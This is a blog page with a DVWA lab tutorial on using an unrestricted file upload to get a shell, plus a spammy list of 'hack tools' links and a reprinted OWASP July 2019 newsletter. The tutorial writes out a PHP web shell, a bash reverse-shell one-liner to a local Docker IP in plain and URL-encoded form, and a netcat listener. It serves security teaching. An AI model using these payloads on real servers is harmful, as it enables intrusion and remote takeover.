Monday, August 31, 2020

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php
phpinfo();
?>
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php
system($_GET["cmd"]);
?>
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
Now start a listener on host with this command:
nc -lvnp 9999
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Related posts


  1. Hack Tool Apk No Root
  2. Hacking Tools Download
  3. Nsa Hack Tools
  4. Pentest Tools Subdomain
  5. Pentest Tools Find Subdomains
  6. Hacker Tools List
  7. Pentest Tools List
  8. Hacker Tools
  9. Hacking Tools Name
  10. Hacking Tools Windows 10
  11. Hacker Tools For Ios
  12. Hack Rom Tools
  13. Hacking App
  14. What Are Hacking Tools
  15. Hack Tools 2019
  16. Hacking Tools Github
  17. Easy Hack Tools
  18. How To Hack
  19. Pentest Tools Nmap
  20. Hacker Security Tools
  21. Pentest Tools Review
  22. Hack Tool Apk No Root
  23. Usb Pentest Tools
  24. Computer Hacker
  25. Game Hacking
  26. Termux Hacking Tools 2019
  27. Nsa Hack Tools Download
  28. How To Make Hacking Tools
  29. Hacker Tools Hardware
  30. What Is Hacking Tools
  31. Hack Tools For Windows
  32. Hacking Tools Github
  33. Hacking Tools Usb
  34. Hacker Tools For Pc
  35. Hack Rom Tools
  36. Hacking Tools Hardware
  37. Hacker Hardware Tools
  38. Android Hack Tools Github
  39. Hacking Tools For Mac
  40. Termux Hacking Tools 2019
  41. Hack Tools Mac
  42. Pentest Tools Framework
  43. Best Pentesting Tools 2018
  44. How To Install Pentest Tools In Ubuntu
  45. What Are Hacking Tools
  46. Hack Tool Apk
  47. Hacking Tools For Mac
  48. Hack Tools For Windows
  49. Hacking Tools For Windows 7
  50. Pentest Tools Apk
  51. New Hack Tools

Sunday, August 30, 2020

July 2019 Connector

OWASP
Connector
  July 2019

COMMUNICATIONS


Letter from the Vice-Chairman:
Since the last Connector, the Foundation has seen an extremely positive response to hosting a Global AppSec conference in Tel Aviv. The event was well attended with great speakers and training, furthering our mission to improving software security on a global level.

Next up we have a Global AppSec conference in both Amsterdam and Washington DC. We have migrated away from the regional naming convention so in previous years these events would have been Europe and US. Planning for both events is well underway with some excellent keynotes being lined up. We hope you can join us at these conferences.

As part of our community outreach, the Board and volunteers will be at BlackHat and DEFCON in Las Vegas next month. The Board will have a two-day workshop two days before the conference, but during the conference will look to talk to and collaborate with as many of the community as possible. We are really looking forward to this.

It is that time of the year again, the global Board of Directors nominations are now open. There are four seats up for re-election: mine (Owen), Ofer, Sherif, and Chenxi. I would ask those who would like to help drive the strategic direction of the Foundation to step forward. If you are not interested in running, why not submit questions to those who are running.

Recently the Executive Director has put forward a new initiative to change the way in which we utilize our funds in achieving our mission. The aim here is to have one pot of money where there will be fewer restrictions to chapter expenses. Funds will be provided to all, albeit as long as they are reasonable. The Board sees this as a positive step in our community outreach.

Finally, I would like to ask those who are interested in supporting the Foundation, reach out to each Board member about assisting in  one of the following strategic goals, as set out by the board at the start of the year:
  • Marketing the OWASP brand 
  • Membership benefits
  • Developer outreach
    • Improve benefits 
    • Decrease the possibility of OWASP losing relevance
    • Reaching out to management and Risk levels
    • Increase involvement in new tech/ ways of doing things – dev-ops
  • Project focus 
    • Get Universities involved
    • Practicum sponsored ideas
    • Internships 
  • Improve finances
  • Improve OWASP/ Board of Directors Perception
  • Process improvement
  • Get consistent Executive Director support
  • Community empowerment
Thanks and best wishes,
Owen Pendlebury, Vice Chair
 
UPDATE FROM THE EXECUTIVE DIRECTOR:

Change: If we change nothing, how could we expect to be in a different place a year from now? It has been truly a pleasure these first six months as your Interim Executive Director and I look forward to many years to come. Everyone has done a great job helping me see our opportunities and challenges. And the challenges are real - both internally and our position in the infosec community. I'm biased toward action.

My first task has been to redesign and optimize our operations. This will help staff to be more responsive while also saving the funds donated to the Foundation for our work on projects and chapters. This will also mean changes for you too. Communities work better when everyone always assumes we are all operating with the best of intentions. I can assure you that is the case of our Board, leaders, and staff. Evaluate our changes through this view and we'll save time and our collective sanity.

One big project that is coming to life is our new website. We will soon be entering our 20th year and we needed to not just refresh the look but completely retool it for the next 20 years. We are rebuilding it from the ground up and we can't wait to share our progress. Over the next month or so we will be sharing more information on that project. Stay tuned!

Mike McCamon, Interim Executive Director
OWASP FOUNDATION UPDATE FROM EVENTS DIRECTOR:

OWASP is pleased to announce our newest staff member, Sibah Poede will be joining us as the Events Coordinator and will begin full-time on 1 July.

Sibah is a graduate of London South Bank University where she received a BA (Hons) Marketing Management. Prior to that, she gained a diploma in Market & Economics at the Copenhagen Business School, Neil's Brock, Denmark. After graduation, she launched her career in London working with Hilton International hotels at the Conference and Events department. She eventually moved on to work with Kaplan International Colleges in the marketing department. Later, she joined Polyglobe Group, and then Uniglobe within the travel sector, where she was involved in global exhibitions and events, account management and sales.

She has lived in Denmark, Nigeria, Switzerland, and currently lives in London. In her spare time, she enjoys traveling and learning new cultures. She is also part of the Soup Kitchen Muswell Hill, a charity organization involved in feeding the homeless.
Please join us in welcoming Sibah to the team.

Emily Berman
Events Director
As many of you are aware, the OWASP Foundation has a Meetup Pro account.  We are requesting that all Chapters, Projects, Committees, and any other OWASP Meetup pages be transferred to the OWASP Foundation account.
OWASP Foundation will be the Organizer of the Group and all Leaders/Administrators will be Co-Organizers with the same edit rights.  
Once the Meetup page is transferred to our account, the Foundation will be funding the cost of the Meetup page.  If you do not want to continue being charged for your Meetup subscription account, you should then cancel it. Thereafter no Chapter, Project, etc. will be billed for Meetup.  Going forward the Foundation will no longer approve any reimbursement requests for Meetup.

  For instructions on how to move your Meetup group to the OWASP Foundation account please see https://www.owasp.org/index.php/OWASP_Meetup_Information


OWASP Members visit our website for $200 savings on Briefing passes for BlackHat USA 2019.

EVENTS 

You may also be interested in one of our other affiliated events:

REGIONAL AND LOCAL EVENTS
Event DateLocation
OWASP Auckland Training Day 2019 August 10, 2019 Auckland, New Zealand
OWASP security.ac.nc-Wellington Day 2019 August 24, 2019 Wellington , New Zealand
OWASP Portland Training Day September 25, 2019 Portland, OR
OWASP Italy Day Udine 2019 September 27, 2019 Udine, Italy
OWASP Portland Day October 16,2019 Wroclaw, Poland
BASC 2019 (Boston Application Security Conference) October 19,2019 Burlington, MA
LASCON X October 24-25,2019 Austin, TX
OWASP AppSec Day 2019 Oct 30 - Nov 1, 2019 Melbourne, Australia
German OWASP Day 2019 December 9-10, 2019 Karlsruhe, Germany

PARTNER AND PROMOTIONAL EVENTS
Event Date Location
BlackHat USA 2019 August 3-8,2019 Las Vegas, Nevada
DefCon 27 August 8-11,2019 Las Vegas, Nevada
it-sa-IT Security Expo and Congress October 8-10, 2019 Germany

PROJECTS

Project Reviews from Global AppSec Tel Aviv 2019 are still being worked on.  Thank you to the reviewers that helped with it.  If you have time to help finalize the reviews, please contact me (harold.blankenship@owasp.com) and let me know.

We continue to push forward with Google Summer of Code.  First and student evaluations are past and we are in our third work period.  Final evaluations are due 19th August!
The Project Showcase at Global AppSec DC 2019 is shaping up to be a fantastic track.  Please note the following schedule.
 
  Schedule
Time Thursday, September 12
10:30 Secure Medical Device Deployment Standard Christopher Frenz
11:30 Secure Coding Dojo Paul Ionescu
1:00 p.m. Lunch Break
15:30 API Security Project Erez Yalon
16:30 Defect Dojo Matt Tesauro
Time Friday, September 13
10:30 Dependency Check Jeremy Long
11:30 SAMM John Ellingsworth, Hardik Parekh
1:00 p.m. Lunch Break
15:30 SEDATED Dennis Kennedy
16:30 <open>  

New Release of ESAPI # 2.2.0.0: 


On June 25, a new ESAPI release, the first in over 3 years, was uploaded to Maven Central. The release # is 2.2.0.0. The release includes over 100 closed GitHub Issues and over 2600 additional unit tests. For more details, see the release notes at:
https://github.com/ESAPI/esapi-java-legacy/blob/esapi-2.2.0.0/documentation/esapi4java-core-2.2.0.0-release-notes.txt

A special shout out to project co-leader Matt Seil, and major contributors Jeremiah Stacey and Dave Wichers for their ongoing invaluable assistance in this effort.
-- Kevin Wall, ESAPI project co-lead
OWASP ESAPI wiki page and the GitHub project page.

COMMUNITY

 
Welcome New OWASP Chapters
Indore, India
Panama City, Panama
Medellin, Colombia
Cartagena, Colombia
Aarhus, Denmark
Dhaka, Bangladesh
Edmonton, Canada
Lincoln, Nebraska
Sanaa, Yemen
Noida, India
Mumbai, India

MEMBERSHIP

 
We would like to welcome the following Premier and Contributor Corporate Members.

 Contributor Corporate Members

Join us
Donate
Our mailing address is:
OWASP Foundation
1200-C Agora Drive, # 232
Bel Air, MD 21014  
Contact Us
Unsubscribe






This email was sent to *|EMAIL|*
why did I get this?    unsubscribe from this list    update subscription preferences
*|LIST:ADDRESSLINE|*